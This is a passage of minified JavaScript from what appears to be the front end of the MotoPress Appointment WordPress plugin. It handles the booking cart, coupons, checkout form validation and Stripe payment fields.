payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function ge(e){let t=\"\";for(let s in e)t+=\" \"+s+'=\"'+e[s]+'\"';return t}function ye(e,t={}){return\"\u003Cbutton\"+ge(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function fe(e,t){let s={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},i=t.clone();i.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(l))continue;let h=\"\";switch(t){case\"service_id\":h=e.service.id;break;case\"service_name\":h=e.service.name;break;case\"service_thumbnail\":h=ke(e.service.thumbnail);break;case\"employee_id\":h=e.employee.id;break;case\"employee_name\":h=e.employee.name;break;case\"location_id\":h=e.location.id;break;case\"location_name\":h=e.location.name;break;case\"reservation_date\":h=f(e.date);break;case\"reservation_save_date\":h=f(e.date,\"internal\");break;case\"reservation_time\":h=e.time.toString(\"short\");break;case\"reservation_period\":h=e.time.toString();break;case\"reservation_save_period\":h=e.time.toString(\"internal\");break;case\"reservation_capacity\":h=_e(r(a,a),e.capacity);break;case\"reservation_clients\":h=Ce(r(a,a),e.capacity);break;case\"reservation_clients_count\":h=e.capacity;break;case\"reservation_price\":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),i.find('[name*=\"{item_id}\"]').each(((t,s)=>{s.name=s.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&i.find(\".cell-people\").addClass(\"mpa-hide\"),i}function be(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let s of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+s.name+\"\u003C\u002Fspan>\",s.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=s.quantity_label+\": \"+s.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+Se(s.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+u(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Se(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=u(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=Se(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+u(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+u(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Se(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=\".\",i=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",i=g(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(s,\"\")}(i));let s='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":i=s+i;break;case\"after\":i+=s;break;case\"before_with_space\":i=s+\"&nbsp;\"+i;break;case\"after_with_space\":i=i+\"&nbsp;\"+s}e\u003C0&&(i=\"-\"+i)}return'\u003Cspan class=\"'+a+'\">'+i+\"\u003C\u002Fspan>\"}function Se(e,t={}){return t.literal_free=!1,ve(e,t)}function _e(e,t,s={}){let i=\"\u003Cselect\"+ge(s)+\">\";return i+=Ce(e,t),i+=\"\u003C\u002Fselect>\",i}function Pe(e,t,s=!1){let i=\"\";return i='\u003Coption value=\"'+e+'\"'+(s?' selected=\"selected\"':\"\")+\">\",i+=t,i+=\"\u003C\u002Foption>\",i}function Ce(e,t){let s=\"\";for(let i in e)s+=Pe(i,e[i],i==t);return s}function we(e,t,s,i){let a=\"\";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return\"\u003Cimg\"+ge({width:t,height:s,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id=\"'+s+'\"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data(\"id\"),s=this.cart.getItem(t),i=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");i.on(\"change\",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Se(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(u(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ie(e){const i=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:u(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:t.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),i.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),i.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty(\"name\",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty(\"email\",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&\"undefined\"!==t.currentCustomer.phone&&(this.setProperty(\"phone\",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return c(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new M,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+i),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),s.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(s.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass(\"active\",t),s.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(s?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(s?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=u(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",m().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=u(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+u(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=u(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=u(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name=\"payment\",this.title=u(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,s){return 